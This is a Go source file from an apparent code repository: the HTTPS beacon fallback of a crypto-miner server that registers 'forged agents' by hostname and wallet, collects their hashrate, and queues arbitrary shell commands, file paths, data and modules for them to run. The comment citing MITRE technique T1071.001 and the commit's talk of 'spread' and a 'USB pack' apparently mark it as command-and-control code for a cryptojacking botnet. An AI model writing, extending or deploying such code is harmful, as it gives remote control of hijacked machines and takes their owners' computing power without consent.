Files
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

317 lines
9.3 KiB
Go

package api
import (
"encoding/json"
"net/http"
"strings"
"time"
"crypto-miner-server/internal/models"
)
const beaconReachableWindow = 90 * time.Second
// BeaconCommand is delivered to agents on HTTPS beacon when WebSocket is down.
type BeaconCommand struct {
Action string `json:"action"`
TailLines int `json:"tail_lines,omitempty"`
Command string `json:"command,omitempty"`
Path string `json:"path,omitempty"`
Data string `json:"data,omitempty"`
Module string `json:"module,omitempty"`
}
type beaconRequest struct {
AgentID string `json:"agent_id"`
Stats json.RawMessage `json:"stats,omitempty"`
Hostname string `json:"hostname,omitempty"`
Wallet string `json:"wallet,omitempty"`
Worker string `json:"worker_name,omitempty"`
Version string `json:"version,omitempty"`
}
type beaconResponse struct {
OK bool `json:"ok"`
Commands []BeaconCommand `json:"commands"`
Policies []FleetAgentPolicy `json:"policies,omitempty"`
}
type beaconResultRequest struct {
AgentID string `json:"agent_id"`
Action string `json:"action"`
Success bool `json:"success"`
Message string `json:"message"`
}
func (h *WSHub) initBeaconMaps() {
h.beaconMu.Lock()
defer h.beaconMu.Unlock()
if h.beaconLastSeen == nil {
h.beaconLastSeen = make(map[string]time.Time)
}
if h.beaconCmdQueue == nil {
h.beaconCmdQueue = make(map[string][]BeaconCommand)
}
if h.beaconPolicyQueue == nil {
h.beaconPolicyQueue = make(map[string][]FleetAgentPolicy)
}
}
func (h *WSHub) agentExistsInDB(agentID string) bool {
if h.db == nil || agentID == "" {
return false
}
_, err := h.db.GetAgent(agentID)
return err == nil
}
// MarkBeaconSeen records a successful HTTPS beacon from a known agent.
func (h *WSHub) MarkBeaconSeen(agentID string) {
if !h.agentExistsInDB(agentID) {
return
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconLastSeen[agentID] = time.Now()
h.beaconMu.Unlock()
}
// ClearBeaconTransport clears HTTPS-beacon state when the agent reconnects over WebSocket.
func (h *WSHub) ClearBeaconTransport(agentID string) {
h.initBeaconMaps()
h.beaconMu.Lock()
delete(h.beaconLastSeen, agentID)
delete(h.beaconCmdQueue, agentID)
delete(h.beaconPolicyQueue, agentID)
h.beaconMu.Unlock()
}
func (h *WSHub) isAgentBeaconReachable(agentID string) bool {
h.initBeaconMaps()
h.beaconMu.Lock()
last, ok := h.beaconLastSeen[agentID]
h.beaconMu.Unlock()
return ok && time.Since(last) <= beaconReachableWindow
}
// IsAgentReachable returns true if the agent has an active WebSocket or recent HTTPS beacon.
func (h *WSHub) IsAgentReachable(agentID string) bool {
return h.isAgentConnected(agentID) || h.isAgentBeaconReachable(agentID)
}
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) {
return false
}
cmd := BeaconCommand{Action: action}
if v, ok := args["tail_lines"]; ok {
switch n := v.(type) {
case int:
cmd.TailLines = n
case float64:
cmd.TailLines = int(n)
}
}
if v, ok := args["command"].(string); ok {
cmd.Command = v
}
if v, ok := args["path"].(string); ok {
cmd.Path = v
}
if v, ok := args["data"].(string); ok {
cmd.Data = v
}
if v, ok := args["module"].(string); ok {
cmd.Module = v
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconCmdQueue[agentID] = append(h.beaconCmdQueue[agentID], cmd)
h.beaconMu.Unlock()
return true
}
// EnqueueBeaconPolicy queues a policy_update for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconPolicy(agentID string, policy FleetAgentPolicy) bool {
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) || policy.IsEmpty() {
return false
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconPolicyQueue[agentID] = append(h.beaconPolicyQueue[agentID], normalizeFleetAgentPolicy(policy))
h.beaconMu.Unlock()
return true
}
func (h *WSHub) dequeueBeaconPolicies(agentID string) []FleetAgentPolicy {
h.initBeaconMaps()
h.beaconMu.Lock()
policies := h.beaconPolicyQueue[agentID]
delete(h.beaconPolicyQueue, agentID)
h.beaconMu.Unlock()
if policies == nil {
return []FleetAgentPolicy{}
}
return policies
}
func (h *WSHub) dequeueBeaconCommands(agentID string) []BeaconCommand {
h.initBeaconMaps()
h.beaconMu.Lock()
cmds := h.beaconCmdQueue[agentID]
delete(h.beaconCmdQueue, agentID)
h.beaconMu.Unlock()
if cmds == nil {
return []BeaconCommand{}
}
return cmds
}
func (h *WSHub) applyBeaconStats(agentID string, statsJSON json.RawMessage) {
if h.db == nil || len(statsJSON) == 0 {
return
}
var stats struct {
Hashrate15s float64 `json:"hashrate_15s"`
Hashrate1m float64 `json:"hashrate_1m"`
Hashrate15m float64 `json:"hashrate_15m"`
SharesSubmitted int `json:"shares_submitted"`
SharesAccepted int `json:"shares_accepted"`
CPUUsagePct float64 `json:"cpu_usage_pct"`
MemoryUsagePct float64 `json:"memory_usage_pct"`
UptimeSeconds int `json:"uptime_seconds"`
GPUMinerActive *bool `json:"gpu_miner_active,omitempty"`
GPUHashrate15m float64 `json:"gpu_hashrate_15m,omitempty"`
GPUModel string `json:"gpu_model,omitempty"`
}
if err := json.Unmarshal(statsJSON, &stats); err != nil {
return
}
sharesBad := stats.SharesSubmitted - stats.SharesAccepted
if sharesBad < 0 {
sharesBad = 0
}
_ = h.db.UpdateAgentStats(agentID, stats.Hashrate15s, stats.Hashrate1m, stats.Hashrate15m,
stats.SharesSubmitted, stats.SharesAccepted, sharesBad,
stats.CPUUsagePct, stats.MemoryUsagePct, stats.UptimeSeconds)
gpuActive := stats.GPUMinerActive != nil && *stats.GPUMinerActive
_ = h.db.UpdateAgentGPUStats(agentID, stats.GPUHashrate15m, stats.GPUModel, gpuActive)
_ = h.db.InsertHashrateSample(agentID, stats.Hashrate15m, stats.GPUHashrate15m)
h.broadcastDashboard(Message{
Type: "stats",
Payload: mustMarshal(map[string]interface{}{
"agent_id": agentID,
"hashrate_15s": stats.Hashrate15s,
"hashrate_1m": stats.Hashrate1m,
"hashrate_15m": stats.Hashrate15m,
"cpu_usage_pct": stats.CPUUsagePct,
"memory_usage_pct": stats.MemoryUsagePct,
"uptime_seconds": stats.UptimeSeconds,
"shares_submitted": stats.SharesSubmitted,
"shares_accepted": stats.SharesAccepted,
"transport": "https_beacon",
}),
})
}
// HandleAgentBeacon accepts periodic HTTPS beacons from forged agents (T1071.001 fallback).
func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" {
http.Error(w, "agent_id is required", http.StatusBadRequest)
return
}
if h.db != nil {
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
display := req.Hostname
if display == "" {
display = agentID
}
_ = h.db.UpsertAgent(&models.Agent{
ID: agentID,
Name: display,
Wallet: req.Wallet,
Version: req.Version,
Status: "online",
})
}
}
h.MarkBeaconSeen(agentID)
h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID)
policies := h.dequeueBeaconPolicies(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds, Policies: policies})
}
// HandleAgentBeaconResult receives command results from HTTPS beacon agents.
func (h *WSHub) HandleAgentBeaconResult(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req beaconResultRequest
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, "invalid JSON", http.StatusBadRequest)
return
}
agentID := strings.TrimSpace(req.AgentID)
if agentID == "" || req.Action == "" {
http.Error(w, "agent_id and action are required", http.StatusBadRequest)
return
}
h.MarkBeaconSeen(agentID)
payload := map[string]interface{}{
"agent_id": agentID,
"action": req.Action,
"success": req.Success,
"message": req.Message,
"transport": "https_beacon",
}
h.broadcastDashboard(Message{Type: "command_result", Payload: mustMarshal(payload)})
h.notifyCmdCallback(agentID, req.Action, payload)
writeJSON(w, map[string]interface{}{"ok": true})
}
// FlushBeaconPoliciesToWS delivers queued HTTPS policy updates over WebSocket.
func (h *WSHub) FlushBeaconPoliciesToWS(agentID string) {
for _, policy := range h.dequeueBeaconPolicies(agentID) {
payload := marshalFleetPolicyPayload(policy)
_ = h.SendToAgent(agentID, Message{Type: "policy_update", Payload: payload})
}
}
// FlushBeaconCommandsToWS delivers any queued HTTPS commands over a live WebSocket.
func (h *WSHub) FlushBeaconCommandsToWS(agentID string) {
cmds := h.dequeueBeaconCommands(agentID)
for _, cmd := range cmds {
args := map[string]interface{}{}
if cmd.TailLines > 0 {
args["tail_lines"] = cmd.TailLines
}
if cmd.Command != "" {
args["command"] = cmd.Command
}
if cmd.Path != "" {
args["path"] = cmd.Path
}
if cmd.Data != "" {
args["data"] = cmd.Data
}
if cmd.Module != "" {
args["module"] = cmd.Module
}
_ = h.SendAgentCommand(agentID, cmd.Action, args)
}
}